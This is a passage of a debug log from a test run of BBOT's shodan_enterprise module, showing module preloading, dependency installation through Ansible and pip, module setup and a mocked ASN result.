22:11:26,745 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:11:26,746 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:11:26,747 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:11:26,748 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:11:26,749 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:11:26,750 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:11:26,875 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_psen6szjf5 completed in 0 seconds with status FINISHED +2026-02-27 22:11:26,875 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:11:26,876 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:11:26,878 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-02-27 22:11:26,879 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:12:09,450 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:12:09,452 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:12:09,464 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:12:09,465 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:12:09,466 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:12:09,467 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:12:09,468 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:12:09,470 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:12:09,471 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:12:09,476 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:12:09,477 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:12:09,480 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:12:09,481 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:12:09,482 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:12:09,483 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:12:09,485 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:12:09,486 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:12:09,487 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:12:09,487 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:12:09,489 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:12:09,490 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:12:09,491 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:12:09,492 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:12:09,493 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:12:09,494 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:12:09,495 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:12:09,496 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:12:09,497 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:12:09,498 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:12:09,500 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:12:09,501 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:12:09,503 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:12:09,504 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:12:09,506 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:12:09,507 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:12:09,509 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:12:09,510 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:12:09,512 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:12:09,513 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:12:09,514 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:12:09,516 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:12:09,517 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:12:09,519 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:12:09,520 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:12:09,521 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:12:09,522 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:12:09,524 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:12:09,525 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:12:09,527 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:12:09,528 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:12:09,529 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:12:09,530 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:12:09,531 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:12:09,532 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:12:09,534 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:12:09,535 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:12:09,536 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:12:09,538 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:12:09,539 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:12:09,540 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:12:09,541 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:12:09,542 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:12:09,543 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:12:09,544 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:12:09,551 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:12:09,552 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:12:09,554 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:12:09,555 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:12:09,556 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:12:09,557 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:12:09,558 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:12:09,560 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:12:09,561 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:12:09,562 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:12:09,563 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:12:09,565 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:12:09,566 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:12:09,568 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:12:09,569 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:12:09,570 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:12:09,572 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:12:09,573 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:12:09,574 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:12:09,575 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:12:09,576 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:12:09,577 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:12:09,578 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:12:09,579 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:12:09,580 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:12:09,582 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:12:09,590 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:12:09,591 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:12:09,593 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:12:09,594 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:12:09,596 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:12:09,597 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:12:09,599 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:12:09,600 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:12:09,601 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:12:09,602 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:12:09,604 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:12:09,606 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:12:09,607 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:12:09,608 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:12:09,609 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:12:09,611 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:12:09,612 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:12:09,613 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:12:09,614 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:12:09,615 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:12:09,616 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:12:09,617 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:12:09,618 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:12:09,619 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:12:09,621 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:12:09,621 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:12:09,622 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:12:09,625 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:12:09,626 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:12:09,627 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:12:09,628 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:12:09,629 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:12:09,630 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:12:09,632 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:12:09,633 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:12:09,634 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:12:09,635 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:12:09,636 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:12:09,637 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:12:09,639 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:12:09,640 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:12:09,641 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:12:09,642 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:12:09,643 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:12:09,644 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:12:09,645 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:12:09,647 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:12:09,648 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:12:09,649 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:12:09,650 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:12:09,651 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:12:09,652 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:12:09,653 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:12:09,655 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:12:09,656 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:12:09,657 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:12:09,658 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:12:09,659 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:12:09,660 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:12:09,661 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:12:09,662 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:12:09,663 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:12:09,665 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:12:09,666 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:12:09,668 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:12:09,669 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:12:09,670 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:12:09,671 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:12:09,672 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:12:09,673 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:12:09,675 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:12:09,676 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:12:09,677 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:12:09,678 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:12:09,679 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:12:09,680 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:12:09,682 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:12:09,683 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:12:09,683 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:12:09,685 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:12:09,871 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4450597664 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:12:09,872 [DEBUG] filelock _api.py:334 Lock 4450597664 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:12:09,873 [DEBUG] filelock _api.py:364 Attempting to release lock 4450597664 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:12:09,873 [DEBUG] filelock _api.py:367 Lock 4450597664 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:12:11,077 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:12:11,078 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:12:11,078 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:12:11,230 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:12:11,820 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:12:11,821 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:12:11,821 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:12:11,821 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:12:12,050 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:12:12,052 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:12:12,162 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:12:12,162 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:12:12,220 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:12:12,223 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:12:12,224 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:12:12,762 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:12:12,763 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:12:15,601 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:12:15,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:12:15,602 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:12:17,665 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:12:17,665 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:12:17,670 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:12:17,671 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:12:17,671 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:12:17,671 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:12:17,672 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:12:17,672 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:12:17,676 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/s3ydqkofxxnwmyvtc4ui +2026-02-27 22:12:18,473 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:12:18,474 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:12:18,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:12:18,475 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:12:18,476 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:12:18,476 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:12:18,478 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:12:18,613 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:12:18,613 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:12:18,613 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:12:18,615 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:12:18,615 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:12:18,615 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:12:18,616 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:12:18,616 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:12:18,617 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:12:18,617 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:12:18,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:12:18,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:12:18,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:12:18,618 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:12:18,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:12:18,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:12:18,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:12:18,619 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:12:18,619 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:12:18,620 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:12:18,621 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 